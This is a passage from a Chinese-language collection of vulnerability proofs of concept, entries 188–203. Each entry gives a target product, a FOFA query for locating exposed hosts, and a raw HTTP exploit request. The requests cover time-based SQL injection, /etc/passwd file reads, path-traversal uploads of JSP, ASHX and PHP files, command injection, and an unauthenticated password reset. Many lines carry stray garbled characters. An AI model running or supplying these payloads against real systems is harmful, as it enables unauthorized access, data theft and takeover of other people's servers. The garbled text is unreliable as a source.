object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
" N) L* E' i; t0 R. J

188. 叁体-佳会视频会议 attachment 任意文件读取
8 q% J* E5 W" L* Z) S5 q  n, Wversion <= 3.9.7
1 V4 S) F& {1 \FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
/ S1 s) s. W! @; q$ w( G1 K; }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 ~' ]9 t! B7 Y7 G) Y( E: v1 ]% C" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( O' v8 c# v, R& h' _. N2 W0 ]Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

6 ~6 d8 o2 f8 x" B# j
) O  _4 T( g* ]: c189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
" V- ]- O! w5 u/ \" L- H' SGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
' i# @, e: z: _/ xHost: your-ip
6 F7 v% D; o. v1 z2 GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 F/ y( I7 }% {, u$ ^- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 [/ U3 ^( c' [: EAccept-Language: zh-CN,zh;q=0.9
Connection: close


7 y# @8 w4 D( z- i. o3 X190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ M5 r5 N/ r$ c+ _5 tContent-Type: application/x-www-form-urlencoded
- q, y8 W7 X: @$ B2 eAccept-Encoding: gzip, deflate
6 [  q; a- i; Z( X: GAccept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
$ m( J" {4 t2 w0 |5 H" s. W

. |, V$ e, B% f) x' c7 P# {( |191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
: X2 ]- m6 G/ h/ L& f3 HFOFA：body="/CDGServer3/index.jsp"
: F/ z7 {' g6 uPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
' m4 R, I* w1 l1 J6 @8 V( Q/ P8 ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: S2 u; ], T" z: u
1 G, b0 |/ v* O, n4 vcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
# w) F  L: Q* p% @9 ~: H3 f( r; s
1 D. m5 D1 T0 e) [6 H3 Y
, \3 z: G/ f0 j  X; `192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
  B* f0 ]) W/ [, x. u1 cFOFA：title="用户登录_富通天下外贸ERP"
8 r6 n. D3 v. Q- _POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
- |8 P  z- N3 D; _! A7 hHost: your-ip
/ a- j$ a) ]$ gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 x, R6 H) I+ z4 }  |
$ B+ ?7 q- g% l1 F' D" ~9 \
! Y" _# B' I; ^# M/ j2 J% p<% @ webhandler language="C#" class="AverageHandler" %>
1 W( e0 _! L8 _using System;
; _: [( z! ?8 M  b+ d( Musing System.Web;
$ v! B$ d/ |- N- Tpublic class AverageHandler : IHttpHandler
" a/ [! X. e  {/ g6 B- l) T{
- F& c/ t4 K6 h! b7 t% ^0 w$ D9 Upublic bool IsReusable
8 l/ v% O4 w$ \9 s; h2 g{ get { return true; } }
1 M- w0 O6 ^- s8 K- Epublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}
3 ~6 j8 L8 w5 j6 p9 i

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
& O! [5 o1 i  g$ Y) i/ d; PGET /master/ajaxActions/getTokenAction.php HTTP/1.1
( f! r* ]9 g7 F4 U! _Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
6 f. j8 j3 y* a! x6 L: G# b, JUser-Agent: Mozilla/5.0

+ I! X: m. {& F( f, u5 z8 E
0 f6 C2 `+ o8 k" C( x+ j/ @5 EPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
* N# @7 p% B4 J& ]0 c" N0 m# M8 s# lAccept: */*
Connection: close
6 `% g4 G( x- i3 ]( ?1 `Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
% r# `3 t/ R" ^3 t/ r: R

& c2 c# l. N2 |9 n& IGET /master/img/config HTTP/1.1
Host:
! P; `. M9 \4 ]3 c: ~0 g+ ^User-Agent: Mozilla/5.0

9 M/ Y! p4 u2 k9 V/ o  _4 N) q# {
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
; N. |4 A# h8 R) MFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

1 o' w0 V( q4 K: V7 S  k- q7 B- P; FPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
0 M5 Q# X" O6 j+ R" vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
6 f1 V5 d* A- f$ K$ k) Q! f# O& KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! M8 E9 B8 M/ DConnection: close
' [' Q0 E$ p, }6 `5 zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
" }' k9 O' R# \  t- n& A2 h------WebKitFormBoundaryKNt0t4vBe8cX9rZk
: k7 ?$ V5 y+ Z, o, m* E) T) b
8 T/ f9 y8 y* c1 X" LContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
, ~& A( `- X4 v5 n' A7 K------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 E" P# N. V' rContent-Disposition: form-data; name="json"
# ?) j0 C% ?% z2 ^ {"iq":{"query":{"UpdateType":"mail"}}}
5 B, p& ?% ^/ f# T! ~1 {------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
4 ?4 G4 ]4 U6 u& i
8 s# w$ T" q8 x5 L. ?. s
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
. ~8 x- ^" B% y; K: V. c+ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; g8 n3 r/ ^; X/ |5 a$ O1 h4 sContent-Type: application/x-www-form-urlencoded
5 T4 D3 u; \: j/ X  E" k) u* F; C+ MContent-Length: 68

. X, d- b! m5 J$ d; B% F. ^) y2 Q{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
! c3 U7 p' |- f$ e

1 `$ k8 A/ s; Z( `+ ]0 |7 \196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
- ~3 B5 l6 b6 G+ x4 J) q7 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
0 U0 Y4 L! B3 g: J9 OX-Requested-With: XMLHttpRequest
/ i' @) ]; x7 O# THost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
( O4 _& [/ A0 k" g! Y; \% a+ ^
{"xgh":"test","newPass":"test666","email":""}

9 i; |9 i$ D- O0 t& r) s5 f1 _1 [' l
5 Z1 d+ l& z- c# m' n3 z# z, u
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
7 `) r  T# J" v! r5 g1 o) MGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" e. ?1 m& J. T3 L. P  {) Q+ AHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
7 g' l- g6 k- c  Y9 {' k9 _; lAccept-Encoding: gzip, deflate
' [; r+ D3 C6 X. N; [Connection: close

7 @1 t3 ?4 K7 [) V1 y" G. u
( m8 o7 ?! Z9 a* ?9 ]
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
" I% l9 x& x$ }0 y2 t; TGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
0 ~: K2 r; R' o# g. b* V9 KCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
* T% O6 l% E6 dAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
3 T  U( I* T. l% dConnection: close
/ g/ d' ^* x% ^8 o
3 F- c) _( M& J" h. a8 X
199. cockpit系统assetsmanager_upload接口 文件上传
0 v# p" s8 n# z2 \/ {
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( S- l/ K/ S, bGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
, ~# D: N6 H7 V, X6 y0 a- O
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
5 X6 L+ E% ^* \' }Content-Type: application/json
2 P, ?! }/ y- V0 J; d
0 L) h  U- Z5 z7 J+ A! q# z* z5 _{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
; [  g: d" e& G- b6 k. F
9 `$ k1 r. R0 I4 A6 f响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
$ {0 F2 Z% K7 oFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
6 D5 X) E3 K, p+ R. [$ CContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
8 s0 |1 @- p: N8 Q
% K* d' [3 L# a% B  u-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

1 L0 j; {8 V4 v+ b  u; U1 m<?php echo "tttt";unlink(__FILE__);?>
9 f/ l3 b; ?; E# q-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


; U" l2 S6 Q) ^$ v! A  f/storage/uploads/tttt.php
7 K4 w2 t7 I2 h; @) Y4 d
6 W( ^, k. ~; }% w' c0 `200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
, A) q2 C% b4 l$ hGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
4 a. V& t# L) v) K) A4 r7 XCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
" i$ x/ Q, c6 Y2 V" y; [7 \( JUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
7 R7 |( ^- R- A* g8 ^3 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" p9 t, p7 R; f$ j# nAccept-Encoding: gzip, deflate
/ t+ r/ R+ _6 J( V4 S8 D$ EAccept-Language: zh-CN,zh;q=0.9

! v' C( P' Y/ {' W* y: H& Q
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
. A: F  D  D3 ~/ @1 m' Z; Q$ c6 ZPOST /newsedit/newsplan/task/binary.do HTTP/1.1
6 J+ k7 t2 O! e) V# X2 Z8 ]Content-Type: application/x-www-form-urlencoded
! |; {5 ]  `" q8 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: i! C6 o8 H, q4 A& GAccept-Encoding: gzip, deflate
8 T: h, N+ F+ ^" KAccept-Language: zh-CN,zh;q=0.9
2 I/ m6 j/ w3 tConnection: close
) C4 E/ D8 u1 Y5 q3 I0 W+ t
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
0 h; A- u: ?  s, Q) G0 b
! \  K$ R+ ^0 u- b
4 ~' {0 n2 ?+ F1 C3 Z$ d202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
0 B3 G( @$ S, m' @* [% \' jGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
8 t0 S' c& a- W' u% A4 n! P3 H4 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

% T' o8 c2 q# v: R8 m( j5 c+ r2 f
$ x* T8 L+ {* I% x替换__VIEWSTATE和__EVENTVALIDATION值
) b& U0 J! \" N' w, mPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 k; f9 H" H) h* x# U: l5 T
-----------------------------786435874t38587593865736587346567358735687
4 w2 Q1 B6 x( UContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
$ e3 w' ^- U, @
__EVENTVALIDATION
" H* v- u! }) n- C-----------------------------786435874t38587593865736587346567358735687
) o* s# z* W2 N. K0 sContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
+ E5 \# P# `) J  bContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
) B6 ?, l( u' Y4 h4 N! D: k0 _
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
) U9 X* d( H+ p0 g
  A$ I# _$ V/ g
7 G$ M, W9 K. e: y1 s# C; Y-----------------------------786435874t38587593865736587346567358735687
9 G$ A- ^7 K4 l1 \4 m8 c( U$ wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
% U3 b- H+ G2 B1 p4 J( g
1 A. U  w" Y5 a, Y
. X4 s$ N& T! P7 \* {1 y; J6 @' j-----------------------------786435874t38587593865736587346567358735687--
+ X% C8 U. v' K" x& i5 Z

- |3 B" q+ X: G( H4 s# j0 I& q/_data/Uploads/1123.txt
/ o! \2 o% Y4 c8 X
# w' ^7 [9 H4 f203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
; `4 d9 y9 Z) m3 E' lPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
6 U" [% w+ ~$ y( T! N/ b- I( x. \8 EAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! M* {% o! j7 r+ t/ ]$ [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
- c! m3 R% f: P6 t* H9 S; M8 ^# V
1 H2 |" G( A4 g: _5 i------WebKitFormBoundaryt7WbDl1tXogoZys4
+ A4 }" Z) _  W" @Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
" e* E% `! \( h2 F/ Y* a- |------WebKitFormBoundaryt7WbDl1tXogoZys4--





# G' m: ?5 ]% N" P- D